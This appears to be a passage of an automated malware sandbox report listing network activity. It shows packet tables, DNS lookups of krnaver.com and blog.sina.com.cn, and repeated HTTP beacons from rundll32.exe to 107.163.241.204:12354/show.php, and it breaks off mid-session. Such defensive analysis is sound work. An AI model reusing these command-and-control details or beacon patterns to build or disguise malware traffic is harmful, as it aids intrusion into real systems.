Dec 11, 2024 16:31:10.438812971 CET	12354	62555	107.163.241.204	192.168.2.8
Dec 11, 2024 16:31:10.441706896 CET	12354	62721	107.163.241.204	192.168.2.8
Dec 11, 2024 16:31:10.444086075 CET	62721	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:31:10.444740057 CET	12354	64700	107.163.241.204	192.168.2.8
Dec 11, 2024 16:31:10.444870949 CET	64700	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:31:10.459389925 CET	62721	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:31:10.460387945 CET	64700	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:31:10.553633928 CET	64703	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:31:10.580262899 CET	12354	62721	107.163.241.204	192.168.2.8
Dec 11, 2024 16:31:10.581624985 CET	12354	64700	107.163.241.204	192.168.2.8
Dec 11, 2024 16:31:10.673739910 CET	12354	64703	107.163.241.204	192.168.2.8
Dec 11, 2024 16:31:10.679997921 CET	64703	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:31:10.735590935 CET	64703	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:31:10.855192900 CET	12354	64703	107.163.241.204	192.168.2.8
Dec 11, 2024 16:31:11.569632053 CET	443	64400	202.108.0.52	192.168.2.8
Dec 11, 2024 16:31:11.569705009 CET	64400	443	192.168.2.8	202.108.0.52
Dec 11, 2024 16:31:11.570426941 CET	443	64400	202.108.0.52	192.168.2.8
Dec 11, 2024 16:31:11.570463896 CET	64400	443	192.168.2.8	202.108.0.52
Dec 11, 2024 16:31:11.592825890 CET	64400	443	192.168.2.8	202.108.0.52
Dec 11, 2024 16:31:11.592905045 CET	443	64400	202.108.0.52	192.168.2.8
Dec 11, 2024 16:31:11.592952967 CET	64400	443	192.168.2.8	202.108.0.52
Dec 11, 2024 16:31:11.910376072 CET	62720	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:31:11.911000013 CET	64722	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:31:12.030555010 CET	80	64722	202.108.0.52	192.168.2.8
Dec 11, 2024 16:31:12.030618906 CET	64722	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:31:12.030848026 CET	80	62720	202.108.0.52	192.168.2.8
Dec 11, 2024 16:31:12.030890942 CET	62720	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:31:12.064676046 CET	64722	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:31:12.095141888 CET	64722	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:31:12.095242977 CET	64700	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:31:12.095242977 CET	64703	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:31:12.096313000 CET	64758	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:31:12.186160088 CET	80	64722	202.108.0.52	192.168.2.8
Dec 11, 2024 16:31:12.192131996 CET	64722	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:31:12.209072113 CET	64929	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:31:12.209072113 CET	64930	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:31:12.216048002 CET	12354	64758	107.163.241.204	192.168.2.8
Dec 11, 2024 16:31:12.219119072 CET	64758	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:31:12.222004890 CET	64758	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:31:12.328707933 CET	80	64929	202.108.0.52	192.168.2.8
Dec 11, 2024 16:31:12.328727007 CET	12354	64930	107.163.241.204	192.168.2.8
Dec 11, 2024 16:31:12.328931093 CET	64929	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:31:12.328931093 CET	64930	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:31:12.329834938 CET	64929	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:31:12.330734015 CET	64930	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:31:12.341682911 CET	12354	64758	107.163.241.204	192.168.2.8
Dec 11, 2024 16:31:12.449084997 CET	80	64929	202.108.0.52	192.168.2.8
Dec 11, 2024 16:31:12.450205088 CET	12354	64930	107.163.241.204	192.168.2.8
Dec 11, 2024 16:31:13.899952888 CET	80	64929	202.108.0.52	192.168.2.8
Dec 11, 2024 16:31:13.900149107 CET	64929	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:31:13.903374910 CET	49756	443	192.168.2.8	202.108.0.52
Dec 11, 2024 16:31:13.903415918 CET	443	49756	202.108.0.52	192.168.2.8
Dec 11, 2024 16:31:13.903470039 CET	49756	443	192.168.2.8	202.108.0.52
Dec 11, 2024 16:31:13.903803110 CET	49756	443	192.168.2.8	202.108.0.52
Dec 11, 2024 16:31:13.903814077 CET	443	49756	202.108.0.52	192.168.2.8
Dec 11, 2024 16:31:14.349915981 CET	12354	64758	107.163.241.204	192.168.2.8
Dec 11, 2024 16:31:14.350042105 CET	64758	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:31:14.445844889 CET	12354	64930	107.163.241.204	192.168.2.8
Dec 11, 2024 16:31:14.446007967 CET	64930	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:31:15.602505922 CET	443	49756	202.108.0.52	192.168.2.8
Dec 11, 2024 16:31:15.602629900 CET	49756	443	192.168.2.8	202.108.0.52
Dec 11, 2024 16:31:15.603298903 CET	443	49756	202.108.0.52	192.168.2.8
Dec 11, 2024 16:31:15.603354931 CET	49756	443	192.168.2.8	202.108.0.52
Dec 11, 2024 16:31:15.961158991 CET	64930	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:31:15.961380005 CET	64758	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:31:16.081329107 CET	12354	64930	107.163.241.204	192.168.2.8
Dec 11, 2024 16:31:16.081346989 CET	12354	64758	107.163.241.204	192.168.2.8

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 11, 2024 16:27:13.225188971 CET	62357	53	192.168.2.8	1.1.1.1
Dec 11, 2024 16:27:13.364067078 CET	53	62357	1.1.1.1	192.168.2.8
Dec 11, 2024 16:27:17.866034985 CET	63772	53	192.168.2.8	1.1.1.1
Dec 11, 2024 16:27:18.004004955 CET	53	63772	1.1.1.1	192.168.2.8
Dec 11, 2024 16:27:19.525744915 CET	52513	53	192.168.2.8	1.1.1.1
Dec 11, 2024 16:27:19.663405895 CET	53	52513	1.1.1.1	192.168.2.8
Dec 11, 2024 16:27:22.983696938 CET	52375	53	192.168.2.8	1.1.1.1
Dec 11, 2024 16:27:23.124847889 CET	53	52375	1.1.1.1	192.168.2.8
Dec 11, 2024 16:27:27.828691006 CET	61016	53	192.168.2.8	1.1.1.1
Dec 11, 2024 16:27:27.966384888 CET	53	61016	1.1.1.1	192.168.2.8
Dec 11, 2024 16:27:32.893203974 CET	55890	53	192.168.2.8	1.1.1.1
Dec 11, 2024 16:27:33.029881001 CET	53	55890	1.1.1.1	192.168.2.8
Dec 11, 2024 16:27:37.815803051 CET	52380	53	192.168.2.8	1.1.1.1
Dec 11, 2024 16:27:38.059720039 CET	53	52380	1.1.1.1	192.168.2.8
Dec 11, 2024 16:27:42.894217968 CET	63527	53	192.168.2.8	1.1.1.1
Dec 11, 2024 16:27:43.032196999 CET	53	63527	1.1.1.1	192.168.2.8
Dec 11, 2024 16:27:47.815296888 CET	61993	53	192.168.2.8	1.1.1.1
Dec 11, 2024 16:27:47.953541040 CET	53	61993	1.1.1.1	192.168.2.8
Dec 11, 2024 16:27:52.814400911 CET	58573	53	192.168.2.8	1.1.1.1
Dec 11, 2024 16:27:52.957048893 CET	53	58573	1.1.1.1	192.168.2.8
Dec 11, 2024 16:27:57.861123085 CET	50925	53	192.168.2.8	1.1.1.1
Dec 11, 2024 16:27:57.998436928 CET	53	50925	1.1.1.1	192.168.2.8
Dec 11, 2024 16:28:02.894383907 CET	60357	53	192.168.2.8	1.1.1.1
Dec 11, 2024 16:28:03.031215906 CET	53	60357	1.1.1.1	192.168.2.8
Dec 11, 2024 16:28:07.877182007 CET	58953	53	192.168.2.8	1.1.1.1
Dec 11, 2024 16:28:08.014939070 CET	53	58953	1.1.1.1	192.168.2.8
Dec 11, 2024 16:28:12.847299099 CET	54757	53	192.168.2.8	1.1.1.1
Dec 11, 2024 16:28:12.985797882 CET	53	54757	1.1.1.1	192.168.2.8
Dec 11, 2024 16:28:17.861249924 CET	54914	53	192.168.2.8	1.1.1.1
Dec 11, 2024 16:28:18.003388882 CET	53	54914	1.1.1.1	192.168.2.8
Dec 11, 2024 16:28:22.815505981 CET	51026	53	192.168.2.8	1.1.1.1
Dec 11, 2024 16:28:22.952228069 CET	53	51026	1.1.1.1	192.168.2.8
Dec 11, 2024 16:28:27.830343008 CET	50165	53	192.168.2.8	1.1.1.1
Dec 11, 2024 16:28:27.967417955 CET	53	50165	1.1.1.1	192.168.2.8
Dec 11, 2024 16:28:32.815815926 CET	62454	53	192.168.2.8	1.1.1.1
Dec 11, 2024 16:28:32.952606916 CET	53	62454	1.1.1.1	192.168.2.8
Dec 11, 2024 16:28:37.836126089 CET	55963	53	192.168.2.8	1.1.1.1
Dec 11, 2024 16:28:37.974420071 CET	53	55963	1.1.1.1	192.168.2.8
Dec 11, 2024 16:28:42.814387083 CET	60346	53	192.168.2.8	1.1.1.1
Dec 11, 2024 16:28:42.952209949 CET	53	60346	1.1.1.1	192.168.2.8
Dec 11, 2024 16:28:47.814269066 CET	56283	53	192.168.2.8	1.1.1.1
Dec 11, 2024 16:28:47.950654030 CET	53	56283	1.1.1.1	192.168.2.8
Dec 11, 2024 16:28:52.816997051 CET	52154	53	192.168.2.8	1.1.1.1
Dec 11, 2024 16:28:52.953855991 CET	53	52154	1.1.1.1	192.168.2.8
Dec 11, 2024 16:28:57.814325094 CET	52044	53	192.168.2.8	1.1.1.1
Dec 11, 2024 16:28:57.954140902 CET	53	52044	1.1.1.1	192.168.2.8
Dec 11, 2024 16:29:03.047090054 CET	54181	53	192.168.2.8	1.1.1.1
Dec 11, 2024 16:29:03.190321922 CET	53	54181	1.1.1.1	192.168.2.8
Dec 11, 2024 16:29:07.814080954 CET	52033	53	192.168.2.8	1.1.1.1
Dec 11, 2024 16:29:07.951211929 CET	53	52033	1.1.1.1	192.168.2.8
Dec 11, 2024 16:29:12.815418005 CET	53977	53	192.168.2.8	1.1.1.1
Dec 11, 2024 16:29:12.953213930 CET	53	53977	1.1.1.1	192.168.2.8
Dec 11, 2024 16:29:17.818257093 CET	50549	53	192.168.2.8	1.1.1.1
Dec 11, 2024 16:29:17.955599070 CET	53	50549	1.1.1.1	192.168.2.8
Dec 11, 2024 16:29:22.940006018 CET	56656	53	192.168.2.8	1.1.1.1
Dec 11, 2024 16:29:23.092156887 CET	53	56656	1.1.1.1	192.168.2.8
Dec 11, 2024 16:29:26.069820881 CET	60956	53	192.168.2.8	1.1.1.1
Dec 11, 2024 16:29:26.220110893 CET	53	60956	1.1.1.1	192.168.2.8
Dec 11, 2024 16:29:27.822432995 CET	53937	53	192.168.2.8	1.1.1.1
Dec 11, 2024 16:29:27.960016966 CET	53	53937	1.1.1.1	192.168.2.8
Dec 11, 2024 16:29:32.827223063 CET	61541	53	192.168.2.8	1.1.1.1
Dec 11, 2024 16:29:32.974136114 CET	53	61541	1.1.1.1	192.168.2.8
Dec 11, 2024 16:29:37.813831091 CET	50399	53	192.168.2.8	1.1.1.1
Dec 11, 2024 16:29:37.955207109 CET	53	50399	1.1.1.1	192.168.2.8
Dec 11, 2024 16:29:42.814539909 CET	61647	53	192.168.2.8	1.1.1.1
Dec 11, 2024 16:29:42.952162981 CET	53	61647	1.1.1.1	192.168.2.8
Dec 11, 2024 16:29:47.815891027 CET	64474	53	192.168.2.8	1.1.1.1
Dec 11, 2024 16:29:47.956404924 CET	53	64474	1.1.1.1	192.168.2.8
Dec 11, 2024 16:29:52.813913107 CET	63001	53	192.168.2.8	1.1.1.1
Dec 11, 2024 16:29:52.950917006 CET	53	63001	1.1.1.1	192.168.2.8
Dec 11, 2024 16:29:57.851326942 CET	49298	53	192.168.2.8	1.1.1.1
Dec 11, 2024 16:29:57.991405964 CET	53	49298	1.1.1.1	192.168.2.8
Dec 11, 2024 16:30:02.814313889 CET	53346	53	192.168.2.8	1.1.1.1
Dec 11, 2024 16:30:02.954024076 CET	53	53346	1.1.1.1	192.168.2.8
Dec 11, 2024 16:30:07.814080954 CET	54101	53	192.168.2.8	1.1.1.1
Dec 11, 2024 16:30:07.952872038 CET	53	54101	1.1.1.1	192.168.2.8
Dec 11, 2024 16:30:12.814992905 CET	53075	53	192.168.2.8	1.1.1.1
Dec 11, 2024 16:30:12.958168030 CET	53	53075	1.1.1.1	192.168.2.8
Dec 11, 2024 16:30:17.814532042 CET	51227	53	192.168.2.8	1.1.1.1
Dec 11, 2024 16:30:17.951397896 CET	53	51227	1.1.1.1	192.168.2.8
Dec 11, 2024 16:30:22.814441919 CET	52910	53	192.168.2.8	1.1.1.1
Dec 11, 2024 16:30:22.952054977 CET	53	52910	1.1.1.1	192.168.2.8
Dec 11, 2024 16:30:27.838186979 CET	51085	53	192.168.2.8	1.1.1.1
Dec 11, 2024 16:30:27.979422092 CET	53	51085	1.1.1.1	192.168.2.8
Dec 11, 2024 16:30:32.817944050 CET	64576	53	192.168.2.8	1.1.1.1
Dec 11, 2024 16:30:32.956828117 CET	53	64576	1.1.1.1	192.168.2.8
Dec 11, 2024 16:30:37.814291954 CET	65336	53	192.168.2.8	1.1.1.1
Dec 11, 2024 16:30:37.950759888 CET	53	65336	1.1.1.1	192.168.2.8
Dec 11, 2024 16:30:42.914012909 CET	59160	53	192.168.2.8	1.1.1.1
Dec 11, 2024 16:30:43.051419020 CET	53	59160	1.1.1.1	192.168.2.8
Dec 11, 2024 16:30:47.822443008 CET	64222	53	192.168.2.8	1.1.1.1
Dec 11, 2024 16:30:47.959867001 CET	53	64222	1.1.1.1	192.168.2.8
Dec 11, 2024 16:30:52.821690083 CET	57526	53	192.168.2.8	1.1.1.1
Dec 11, 2024 16:30:52.961469889 CET	53	57526	1.1.1.1	192.168.2.8
Dec 11, 2024 16:30:57.814116955 CET	62848	53	192.168.2.8	1.1.1.1
Dec 11, 2024 16:30:57.953896046 CET	53	62848	1.1.1.1	192.168.2.8
Dec 11, 2024 16:31:02.888364077 CET	51730	53	192.168.2.8	1.1.1.1
Dec 11, 2024 16:31:03.026659966 CET	53	51730	1.1.1.1	192.168.2.8
Dec 11, 2024 16:31:07.814922094 CET	57645	53	192.168.2.8	1.1.1.1
Dec 11, 2024 16:31:07.956026077 CET	53	57645	1.1.1.1	192.168.2.8
Dec 11, 2024 16:31:12.814187050 CET	60751	53	192.168.2.8	1.1.1.1
Dec 11, 2024 16:31:12.951453924 CET	53	60751	1.1.1.1	192.168.2.8

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 11, 2024 16:27:13.225188971 CET	192.168.2.8	1.1.1.1	0xaad9	Standard query (0)	krnaver.com	A (IP address)	IN (0x0001)	false
Dec 11, 2024 16:27:17.866034985 CET	192.168.2.8	1.1.1.1	0xcee3	Standard query (0)	krnaver.com	A (IP address)	IN (0x0001)	false
Dec 11, 2024 16:27:19.525744915 CET	192.168.2.8	1.1.1.1	0xd08b	Standard query (0)	blog.sina.com.cn	A (IP address)	IN (0x0001)	false
Dec 11, 2024 16:27:22.983696938 CET	192.168.2.8	1.1.1.1	0x1808	Standard query (0)	krnaver.com	A (IP address)	IN (0x0001)	false
Dec 11, 2024 16:27:27.828691006 CET	192.168.2.8	1.1.1.1	0xe6e	Standard query (0)	krnaver.com	A (IP address)	IN (0x0001)	false
Dec 11, 2024 16:27:32.893203974 CET	192.168.2.8	1.1.1.1	0xca0c	Standard query (0)	krnaver.com	A (IP address)	IN (0x0001)	false
Dec 11, 2024 16:27:37.815803051 CET	192.168.2.8	1.1.1.1	0xd26d	Standard query (0)	krnaver.com	A (IP address)	IN (0x0001)	false
Dec 11, 2024 16:27:42.894217968 CET	192.168.2.8	1.1.1.1	0xfa31	Standard query (0)	krnaver.com	A (IP address)	IN (0x0001)	false
Dec 11, 2024 16:27:47.815296888 CET	192.168.2.8	1.1.1.1	0xa02b	Standard query (0)	krnaver.com	A (IP address)	IN (0x0001)	false
Dec 11, 2024 16:27:52.814400911 CET	192.168.2.8	1.1.1.1	0xb39b	Standard query (0)	krnaver.com	A (IP address)	IN (0x0001)	false
Dec 11, 2024 16:27:57.861123085 CET	192.168.2.8	1.1.1.1	0x6046	Standard query (0)	krnaver.com	A (IP address)	IN (0x0001)	false
Dec 11, 2024 16:28:02.894383907 CET	192.168.2.8	1.1.1.1	0x23be	Standard query (0)	krnaver.com	A (IP address)	IN (0x0001)	false
Dec 11, 2024 16:28:07.877182007 CET	192.168.2.8	1.1.1.1	0xc634	Standard query (0)	krnaver.com	A (IP address)	IN (0x0001)	false
Dec 11, 2024 16:28:12.847299099 CET	192.168.2.8	1.1.1.1	0xdd27	Standard query (0)	krnaver.com	A (IP address)	IN (0x0001)	false
Dec 11, 2024 16:28:17.861249924 CET	192.168.2.8	1.1.1.1	0x4649	Standard query (0)	krnaver.com	A (IP address)	IN (0x0001)	false
Dec 11, 2024 16:28:22.815505981 CET	192.168.2.8	1.1.1.1	0xea9a	Standard query (0)	krnaver.com	A (IP address)	IN (0x0001)	false
Dec 11, 2024 16:28:27.830343008 CET	192.168.2.8	1.1.1.1	0x6179	Standard query (0)	krnaver.com	A (IP address)	IN (0x0001)	false
Dec 11, 2024 16:28:32.815815926 CET	192.168.2.8	1.1.1.1	0x3bb5	Standard query (0)	krnaver.com	A (IP address)	IN (0x0001)	false
Dec 11, 2024 16:28:37.836126089 CET	192.168.2.8	1.1.1.1	0xb10e	Standard query (0)	krnaver.com	A (IP address)	IN (0x0001)	false
Dec 11, 2024 16:28:42.814387083 CET	192.168.2.8	1.1.1.1	0xc26d	Standard query (0)	krnaver.com	A (IP address)	IN (0x0001)	false
Dec 11, 2024 16:28:47.814269066 CET	192.168.2.8	1.1.1.1	0x63a1	Standard query (0)	krnaver.com	A (IP address)	IN (0x0001)	false
Dec 11, 2024 16:28:52.816997051 CET	192.168.2.8	1.1.1.1	0xb217	Standard query (0)	krnaver.com	A (IP address)	IN (0x0001)	false
Dec 11, 2024 16:28:57.814325094 CET	192.168.2.8	1.1.1.1	0x604a	Standard query (0)	krnaver.com	A (IP address)	IN (0x0001)	false
Dec 11, 2024 16:29:03.047090054 CET	192.168.2.8	1.1.1.1	0xe867	Standard query (0)	krnaver.com	A (IP address)	IN (0x0001)	false
Dec 11, 2024 16:29:07.814080954 CET	192.168.2.8	1.1.1.1	0x402b	Standard query (0)	krnaver.com	A (IP address)	IN (0x0001)	false
Dec 11, 2024 16:29:12.815418005 CET	192.168.2.8	1.1.1.1	0xd9db	Standard query (0)	krnaver.com	A (IP address)	IN (0x0001)	false
Dec 11, 2024 16:29:17.818257093 CET	192.168.2.8	1.1.1.1	0x7ccc	Standard query (0)	krnaver.com	A (IP address)	IN (0x0001)	false
Dec 11, 2024 16:29:22.940006018 CET	192.168.2.8	1.1.1.1	0x44c7	Standard query (0)	krnaver.com	A (IP address)	IN (0x0001)	false
Dec 11, 2024 16:29:26.069820881 CET	192.168.2.8	1.1.1.1	0xe5de	Standard query (0)	blog.sina.com.cn	A (IP address)	IN (0x0001)	false
Dec 11, 2024 16:29:27.822432995 CET	192.168.2.8	1.1.1.1	0xd669	Standard query (0)	krnaver.com	A (IP address)	IN (0x0001)	false
Dec 11, 2024 16:29:32.827223063 CET	192.168.2.8	1.1.1.1	0x48ca	Standard query (0)	krnaver.com	A (IP address)	IN (0x0001)	false
Dec 11, 2024 16:29:37.813831091 CET	192.168.2.8	1.1.1.1	0x2891	Standard query (0)	krnaver.com	A (IP address)	IN (0x0001)	false
Dec 11, 2024 16:29:42.814539909 CET	192.168.2.8	1.1.1.1	0x3342	Standard query (0)	krnaver.com	A (IP address)	IN (0x0001)	false
Dec 11, 2024 16:29:47.815891027 CET	192.168.2.8	1.1.1.1	0xfc0e	Standard query (0)	krnaver.com	A (IP address)	IN (0x0001)	false
Dec 11, 2024 16:29:52.813913107 CET	192.168.2.8	1.1.1.1	0xc4f7	Standard query (0)	krnaver.com	A (IP address)	IN (0x0001)	false
Dec 11, 2024 16:29:57.851326942 CET	192.168.2.8	1.1.1.1	0x3896	Standard query (0)	krnaver.com	A (IP address)	IN (0x0001)	false
Dec 11, 2024 16:30:02.814313889 CET	192.168.2.8	1.1.1.1	0x64f8	Standard query (0)	krnaver.com	A (IP address)	IN (0x0001)	false
Dec 11, 2024 16:30:07.814080954 CET	192.168.2.8	1.1.1.1	0x5cbb	Standard query (0)	krnaver.com	A (IP address)	IN (0x0001)	false
Dec 11, 2024 16:30:12.814992905 CET	192.168.2.8	1.1.1.1	0xc740	Standard query (0)	krnaver.com	A (IP address)	IN (0x0001)	false
Dec 11, 2024 16:30:17.814532042 CET	192.168.2.8	1.1.1.1	0x5e26	Standard query (0)	krnaver.com	A (IP address)	IN (0x0001)	false
Dec 11, 2024 16:30:22.814441919 CET	192.168.2.8	1.1.1.1	0x6a16	Standard query (0)	krnaver.com	A (IP address)	IN (0x0001)	false
Dec 11, 2024 16:30:27.838186979 CET	192.168.2.8	1.1.1.1	0xbd64	Standard query (0)	krnaver.com	A (IP address)	IN (0x0001)	false
Dec 11, 2024 16:30:32.817944050 CET	192.168.2.8	1.1.1.1	0xd4e9	Standard query (0)	krnaver.com	A (IP address)	IN (0x0001)	false
Dec 11, 2024 16:30:37.814291954 CET	192.168.2.8	1.1.1.1	0xb14e	Standard query (0)	krnaver.com	A (IP address)	IN (0x0001)	false
Dec 11, 2024 16:30:42.914012909 CET	192.168.2.8	1.1.1.1	0xf59c	Standard query (0)	krnaver.com	A (IP address)	IN (0x0001)	false
Dec 11, 2024 16:30:47.822443008 CET	192.168.2.8	1.1.1.1	0x70f9	Standard query (0)	krnaver.com	A (IP address)	IN (0x0001)	false
Dec 11, 2024 16:30:52.821690083 CET	192.168.2.8	1.1.1.1	0x1f86	Standard query (0)	krnaver.com	A (IP address)	IN (0x0001)	false
Dec 11, 2024 16:30:57.814116955 CET	192.168.2.8	1.1.1.1	0x8284	Standard query (0)	krnaver.com	A (IP address)	IN (0x0001)	false
Dec 11, 2024 16:31:02.888364077 CET	192.168.2.8	1.1.1.1	0x544	Standard query (0)	krnaver.com	A (IP address)	IN (0x0001)	false
Dec 11, 2024 16:31:07.814922094 CET	192.168.2.8	1.1.1.1	0x4f0	Standard query (0)	krnaver.com	A (IP address)	IN (0x0001)	false
Dec 11, 2024 16:31:12.814187050 CET	192.168.2.8	1.1.1.1	0x2020	Standard query (0)	krnaver.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Dec 11, 2024 16:27:19.663405895 CET	1.1.1.1	192.168.2.8	0xd08b	No error (0)	blog.sina.com.cn	blogx.sina.com.cn		CNAME (Canonical name)	IN (0x0001)	false
Dec 11, 2024 16:27:19.663405895 CET	1.1.1.1	192.168.2.8	0xd08b	No error (0)	blogx.sina.com.cn		202.108.0.52	A (IP address)	IN (0x0001)	false
Dec 11, 2024 16:29:26.220110893 CET	1.1.1.1	192.168.2.8	0xe5de	No error (0)	blog.sina.com.cn	blogx.sina.com.cn		CNAME (Canonical name)	IN (0x0001)	false
Dec 11, 2024 16:29:26.220110893 CET	1.1.1.1	192.168.2.8	0xe5de	No error (0)	blogx.sina.com.cn		202.108.0.52	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

blog.sina.com.cn

107.163.241.204:12354

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.8	49730	107.163.241.204	12354	4124	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:27:17.030792952 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.204:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.8	49731	107.163.241.204	12354	4124	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:27:17.030909061 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.204:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.8	49749	107.163.241.204	12354	4124	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:27:19.406537056 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.204:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.8	49750	107.163.241.204	12354	4124	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:27:19.406656027 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.204:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.8	49754	202.108.0.52	80	4124	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:27:19.786256075 CET	118	OUT	GET /u/5655029807 HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0) Host: blog.sina.com.cn
Dec 11, 2024 16:27:21.351124048 CET	371	IN	HTTP/1.1 302 Moved Temporarily Server: nginx/1.2.8 Date: Wed, 11 Dec 2024 15:27:21 GMT Content-Type: text/html Content-Length: 160 Connection: keep-alive Location: https://blog.sina.com.cn/u/5655029807 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 2e 38 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body bgcolor="white"><center><h1>302 Found</h1></center><hr><center>nginx/1.2.8</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.8	49768	107.163.241.204	12354	4124	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:27:21.645078897 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.204:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.8	49770	107.163.241.204	12354	4124	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:27:21.752434015 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.204:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.8	49784	107.163.241.204	12354	4124	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:27:23.422338009 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.204:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.8	49787	107.163.241.204	12354	4124	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:27:23.542344093 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.204:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.8	49792	202.108.0.52	80	4124	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
